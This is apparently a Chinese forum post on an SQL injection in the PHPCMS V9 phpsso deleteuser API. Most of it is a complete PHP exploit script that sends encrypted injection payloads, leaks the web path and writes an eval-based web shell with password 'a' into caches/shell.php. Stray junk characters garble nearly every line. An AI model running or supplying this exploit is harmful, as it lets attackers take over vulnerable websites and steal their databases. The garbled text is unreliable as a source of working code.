PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
( d4 o) ^4 E* P+ u
: {' t' d5 p7 Z3 t所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。* u* I, X) y7 |8 W. y% p
" v( e) h4 ]) f8 l2 R- L: c漏洞分析:
: e& A! P# ` I2 M2 N# t* g1.未启用ucenter服务的情况下uc_key为空( L- t" k$ y, u% N( y& |
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
# F" ]% b, N' C O, F4 I2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
7 {& R3 ^6 H; {& E: ^: L1 d public function deleteuser($get,$post) {2 S S4 `" w- y* \/ P" J
pc_base::load_app_func('global', 'admin');3 {. D8 g4 Z! u5 _6 R
pc_base::load_app_class('messagequeue', 'admin' , 0);
5 T) v% `& {& d/ P: }% C* p $ids = new_stripslashes($get['ids']);
' ?: u& k- `8 H/ }7 E $s = $this->member_db->select("ucuserid in ($ids)", "uid");
" L. r" r6 p0 M; ?SQL语句为
/ V$ K4 p7 c- l# O( {SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)' ]' }3 s% d# {* V- Z$ l* B. D
& j8 T9 v! J4 }/ w
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
8 W. X5 y1 n" @+ M<?php2 L; f' E+ m4 x) c0 E
print_r('
' q7 R) o( b; E+ o) C---------------------------------------------------------------------------
# d4 V8 _1 ?; ^' P: B$ NPHPcms (v9 or Old Version) uc api sql injection 0day
5 d% U& L( X E* W4 @by rayh4c#80sec.com; a: w9 K2 }* H% o3 t* M2 e2 E
---------------------------------------------------------------------------
, n' Q( N# X/ n% g');
8 q4 D4 z4 l1 `; G; j; S
S( H. g0 k0 t; r7 aif ($argc<3) {% e7 b- z) Q8 c. S$ ?
print_r('
$ D5 v# ^: K. q---------------------------------------------------------------------------# C1 N& t: T8 I2 D" }, S: ^, E
Usage: php '.$argv[0].' host path OPTIONS
5 `; Z& ? f* ]* ~) d* Lhost: target server (ip/hostname) v" T6 I" ^, a& l
path: path to phpcms
* d) t2 V, A# `0 iOptions:
1 \- Y8 w( F: s# P: Z( T -p[port]: specify a port other than 80
2 \/ f2 U* b$ E( J: @* Z -P[ip:port]: specify a proxy( c" @- t2 S, N1 g1 m9 [; _$ l/ F
Example:( Z+ r' z% n+ [
php '.$argv[0].' localhost /
# S& M* s1 \' |+ X2 Aphp '.$argv[0].' localhost /phpcms/ -p815 w! [" ?7 a3 `1 S @: Y
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
' u. k( y6 h# z0 Q9 E/ @---------------------------------------------------------------------------0 b2 E7 H9 o% ?0 E" m
');
' I6 `$ q2 v/ j1 B# J2 B die;
) |) Q# ]8 {' y1 s" J}# P# t2 ^8 \9 I% q& x4 J) k0 e
! u) z# n# Y; X) C+ `; Werror_reporting(7);" U, k: y/ p9 s( e
ini_set("max_execution_time",0);
2 y/ D q' n' G- tini_set("default_socket_timeout",5);
* M2 @5 a$ w3 e" w2 S
* m+ c5 P$ D& I1 Z' V/ Zfunction quick_dump($string)
/ ~* P8 S# v) o{
8 u5 Q$ v$ K: q) U $result='';$exa='';$cont=0;
- y r) X1 r8 [. ~6 @- u% y1 K/ S% V for ($i=0; $i<=strlen($string)-1; $i++)( F2 V+ w- p$ ?6 j0 O
{! M" b0 ?5 E% i/ X+ z, U
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
; w$ F7 {# H5 O6 `; ^! w' a# z {$result.=" .";}
% D$ r3 ?2 Y6 K, f3 _ else
9 Y* _+ h) Q6 O6 B6 E1 p7 A% F$ I {$result.=" ".$string[$i];}- [- W) G7 O( P: a' ]* l
if (strlen(dechex(ord($string[$i])))==2). g& P1 x5 w" ?: I
{$exa.=" ".dechex(ord($string[$i]));}
! ^% j" X+ M3 G- G4 O" H. [( L" ] else0 W4 d7 R0 t& p. @* B$ C0 e2 P2 y" Q
{$exa.=" 0".dechex(ord($string[$i]));}
7 i- w9 L& P. {" b" ^ $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
3 I: S4 o# t W$ J9 O }$ [+ i. A+ I1 d, k* \
return $exa."\r\n".$result;
6 Z& \7 |2 r4 _}
, J. E4 }/ ^4 X$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
1 b" s. Z. N, t+ h, Y; [0 G& H# V) h" t+ D7 R# t( T+ B9 \
function send($packet). J& r! \0 W$ `9 c6 l
{
6 N3 }6 W* Y' r4 U global $proxy, $host, $port, $html, $proxy_regex;, @7 \$ K H* i$ i
if ($proxy=='') {
* f9 Q. z( O1 r9 _0 w% g( |, p( g $ock=fsockopen(gethostbyname($host),$port);
2 h1 f; ?8 b9 s7 X9 P2 W, E if (!$ock) {
% J }7 ]1 D8 v8 ]: Q echo 'No response from '.$host.':'.$port; die;
, q+ z8 y2 L5 \6 J/ |) T9 s }9 |3 P6 L5 ?/ ~$ {: K7 J% c1 |
}! H( L, ^6 p% h/ r& c
else {
5 s+ i1 I' f1 d( E' F3 s+ ? $c = preg_match($proxy_regex,$proxy);9 I! k0 b- y. C+ U9 k
if (!$c) {: o% B/ i; b2 \& @5 S; q- Z8 a! B
echo 'Not a valid proxy...';die;2 ]# L) G# `$ J& H' G
}
; L2 Q4 B' ]6 y% e! O $parts=explode(':',$proxy);: g7 N' e* Q3 F: r) w4 g
$parts[1]=(int)$parts[1];+ i! @4 M" [: H/ k5 t- o+ {8 X- U% X
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";! X! b/ ?9 i) v3 b, w( z* Y
$ock=fsockopen($parts[0],$parts[1]);
- V" O8 ?9 A9 I1 _ if (!$ock) {3 e9 K( n% i- V. Y
echo 'No response from proxy...';die;7 c* |5 x( \- n3 g6 E
}
2 T, C6 i6 r0 t4 K" b( k }
+ i/ U) B+ Z% G. ~, p" E& ? b$ ] fputs($ock,$packet); X& v; [* M$ S
if ($proxy=='') {6 \+ [$ M( K1 }) g# K6 [) F" z
$html='';
9 x- R. k4 D0 M* b' g& ~, D% \ while (!feof($ock)) {
7 ~" V) M' J2 ]- t8 s% Y $html.=fgets($ock);
/ v+ e6 g' _; ~! T% M4 ` }6 A7 \7 i- U" h8 x& y y9 t
}
: Y1 Y3 q' u' e+ E- Q else {- y! l. h' A8 p# r; R# y( P$ F
$html='';
+ N5 V6 Q; y# ]* ? while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
, ^3 \. Y' ~5 H $html.=fread($ock,1);
0 ?& N \& G8 T6 j9 Z' w6 l }
5 _% g( [# |+ L) k- J$ R% r3 S- d }
z( z4 ?% Y+ v( J1 T fclose($ock);1 \/ g. f/ e2 [. X; [- [! M5 W" o' g
}
4 W. W5 I( Y' S ?" Z
& P- q, l; ~7 o$host=$argv[1];
+ O$ a8 n3 d7 l$path=$argv[2];% K/ u7 C- R$ y: m9 K' K! i
$port=80;
, E9 e- Q0 a8 }! `! \$proxy="";, K6 i! x% n- Z* g/ }- T: y
for ($i=3; $i<$argc; $i++){# `6 L/ w6 P: s+ r. M( f7 l% \
$temp=$argv[$i][0].$argv[$i][1];, S9 m* @! y* L- J9 y
if ($temp=="-p"). n: s# B" s% C7 K& {4 ?8 i
{% {4 G3 x/ n( K) ]0 A% n9 b, D
$port=(int)str_replace("-p","",$argv[$i]);
( K$ q) C0 ?5 e8 _}
0 D/ I6 N0 o+ K( o6 ?% Hif ($temp=="-P")
$ E# D/ f$ t- @. j6 j{
& F( w% t7 l9 M; Y& S8 N4 ?5 \# { $proxy=str_replace("-P","",$argv[$i]);$ h9 v0 H/ J1 Z" |
}' m1 @0 e/ E0 ]7 L6 a; X- J/ B4 m' b
}# d3 ~: I3 e7 @. Z. H2 z
* |( Z' |& l" m0 ?
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}: [( G- M8 g* W. P, h
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}9 E7 d: H! h7 ~' a& {0 X+ Z( E
: G! q* i% s8 E' W, I: Ifunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
0 O& _1 t9 p# T* [- [# k7 }) Y" E
$ckey_length = 4;
8 Y2 }' w) K0 z& e, J7 n1 ~
# ?' t' s, a; \/ b. D) A- Y0 J! Y $key = md5($key ? $key : '');; z" d3 K# C9 D# b( p& d$ N4 X
$keya = md5(substr($key, 0, 16));
! B! A' @( I: g- e4 T: g $keyb = md5(substr($key, 16, 16));
( V+ x8 ]# B7 n- Z $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
6 o+ O3 X: z# E( g g) z6 h
( f3 m. h, e t2 @ $cryptkey = $keya.md5($keya.$keyc);3 `; ]. h( p) D4 J7 q( \
$key_length = strlen($cryptkey);
$ |. z) u4 f* ^: N+ |7 i7 G* z) d1 e
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;8 M( a" J' g: G9 b/ s
$string_length = strlen($string);, g; { p' M! v6 e3 x f: v: r+ A
0 \/ ^9 _+ L- y/ G) |; h' f8 K
$result = '';$ O$ z6 c0 x$ e3 P
$box = range(0, 255);6 s# [, R2 R$ T7 ]( v3 J
2 D2 D( U/ q9 G5 n2 C
$rndkey = array();8 |1 V" H; F- h: t
for($i = 0; $i <= 255; $i++) {3 T" f/ ~8 f5 Z/ V ?0 S0 `5 L# Y
$rndkey[$i] = ord($cryptkey[$i % $key_length]);" Y& j) F) N4 ^# I1 C9 P
}
" F/ |0 ]: A2 P# H" a6 z4 L1 a% A4 S# R4 d( C! n! b0 _+ L- d
for($j = $i = 0; $i < 256; $i++) {- x$ q4 \* }6 l9 K3 M7 M+ f+ a
$j = ($j + $box[$i] + $rndkey[$i]) % 256;; ~4 r1 M/ d% U
$tmp = $box[$i];% u$ p w# Q- B" ]8 p4 w
$box[$i] = $box[$j];4 C) r6 X# k: ~- m0 X; Y$ U
$box[$j] = $tmp;
# {2 j2 V. n$ S, j9 J# v }( p# J) i! b9 s/ Y9 y, k$ C( ^! d
% d% ` g( v( Q+ O" Z W7 ^/ F
for($a = $j = $i = 0; $i < $string_length; $i++) {+ ]4 C2 r( W, M2 @ ?9 L# B& E4 Y; l
$a = ($a + 1) % 256;4 @: S0 F: ]4 K# M
$j = ($j + $box[$a]) % 256;% g9 h- \& y# q8 C; G
$tmp = $box[$a];
0 J+ }: K- o3 n y $box[$a] = $box[$j];
% r: s* T$ V$ B3 _3 S- Z $box[$j] = $tmp;6 k% v% d" o0 `& P9 I
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
* P7 s# l4 w1 V }8 o# ]( O, P$ h% X
" X2 Y: H1 S3 q( s7 C
if($operation == 'DECODE') {
! m( f* _- ~/ t) d& G4 G$ O/ G if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
( R$ s0 s4 h# p" G) t1 E return substr($result, 26);: n: b8 ?/ ~$ m }* x( {
} else {0 H5 L- d$ E2 D
return '';# w7 \8 z% s' X, e, S, {
} c- G" H: I. {/ @# D
} else {6 c- W! X2 \$ D5 R: Z8 o
return $keyc.str_replace('=', '', base64_encode($result));
$ `4 Z% d' ] B0 ? }
9 T' C$ a7 b% }$ ]. a3 J' Z, O- C2 A+ S* q2 l( ]
}
) I: E2 \0 R& I$ o+ _1 N* P" a* m# Q/ ~0 S+ A% X
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
1 i0 @$ D; P. s$SQL = urlencode(authcode($SQL, "ENCODE", ""));
7 V' D9 D7 Z/ S! R. R0 m H+ h# Pecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";+ B# @* V: T( U5 F
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";: s* m: h2 z, |" a: V; Z
$packet.="User-Agent: Mozilla/5.0\r\n";
: Y( O* B2 ~: G. O& H( c$packet.="Host: ".$host."\r\n";" Q$ r1 D) Y* O$ x" @7 j5 |
$packet.="Connection: Close\r\n\r\n";
$ G8 o) i/ p: d* ~send($packet);7 o7 S4 z6 }; h6 H0 u9 o8 d: Z7 F
if(strpos($html,"MySQL Errno") > 0){
+ d& c2 [3 i+ f4 K! mecho "[2] 发现存在SQL注入漏洞"."\n";
1 Z( ]4 Z4 b, v4 J3 e" g, yecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";! D6 C- N; F/ C9 d" [; S3 m
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
, N2 Y+ k3 u7 e' Y% y, k% c$packet.="User-Agent: Mozilla/5.0\r\n";
) \5 T2 c, ~; B0 e$packet.="Host: ".$host."\r\n";' [, L5 g' |3 b/ g3 M
$packet.="Connection: Close\r\n\r\n";
* o( y: V3 ]' [) S7 Osend($packet);6 y |# } i9 ^
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);0 u- v6 q7 f, W
//print_r($matches);8 [ x/ o* C4 Y" a& {
if(!empty($matches)){# C- l2 N6 \0 K$ ?
echo "[4] 得到web路径 " . $matches[0]."\n";
! V' g% k2 f T) U/ |echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";7 A" `, E0 s5 a, ~: H1 C
$SQL = "time=999999999999999999999999&ids=1)";
- T6 ]/ F' O$ S7 q8 B3 |1 F$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";! }; \6 B0 p$ Z$ M/ T0 F7 Z6 Z. B
$SQL.="&action=deleteuser";2 y7 H: m# i. s6 L- {- T' a2 ~
$SQL = urlencode(authcode($SQL, "ENCODE", ""));1 k* l2 r. ~& |0 l/ B0 { V: |& U3 u
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
5 O! C5 R, y, U0 D/ |$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
; R! k1 g4 K9 s" R& c* R7 f. k/ ~$packet.="User-Agent: Mozilla/5.0\r\n";" c0 |4 ^2 v8 D* D* s
$packet.="Host: ".$host."\r\n";+ v8 }0 t& H3 W N- F
$packet.="Connection: Close\r\n\r\n";6 D( ]# l8 d7 ?' @7 r1 U
send($packet);% F$ ?9 Q, _& r$ l$ r" Q3 G8 _# X
if(strpos($html,"Access denied") > 0){4 }( I" X! o- ?1 f# R/ e! W, Y
echo "[-] MYSQL权限过低 禁止写入文件 ";% R6 z# H; _( T; T3 x
die;
( Y/ i9 i* `) r [}
1 \0 C' }7 ?1 q& E' l. A) hecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
% O) F4 o6 e) u6 M/ Q' w0 ]. [ q$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";+ F- G- V g! c. d7 Q7 Z; G) } ]' q/ p
$packet.="User-Agent: Mozilla/5.0\r\n";! k- L0 A9 m n6 l2 @3 ~ d
$packet.="Host: ".$host."\r\n";! Z; h/ j8 u1 i( C
$packet.="Connection: Close\r\n\r\n";) d9 w+ s, Y) Z1 Q: K9 h% G+ M
send($packet);7 F) x4 U3 j7 P4 r
if(strpos($html,"<title>phpinfo()</title>") > 0){! t$ z! f5 o0 w& w2 E( d& R
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
+ s2 f* S* q4 y7 s7 @4 p}* J0 _4 H( o. U9 T
}else{1 I( [7 F% V( N
echo "[-]未取到web路径 ";& ^1 U3 ]1 H: t# S3 J7 e |
}: q1 \3 d7 S7 q+ S' ~3 J* f3 i
}else{- s- Z" e! i6 e
echo "[*]不存在SQL注入漏洞"."\n";
+ e9 c! ]9 n& I/ Z8 H+ h1 w$ {}
# s0 q" b) o4 q9 x& i$ h
& F4 k7 e8 Y: T l( L0 A?>6 R+ T$ [6 [: ? N
|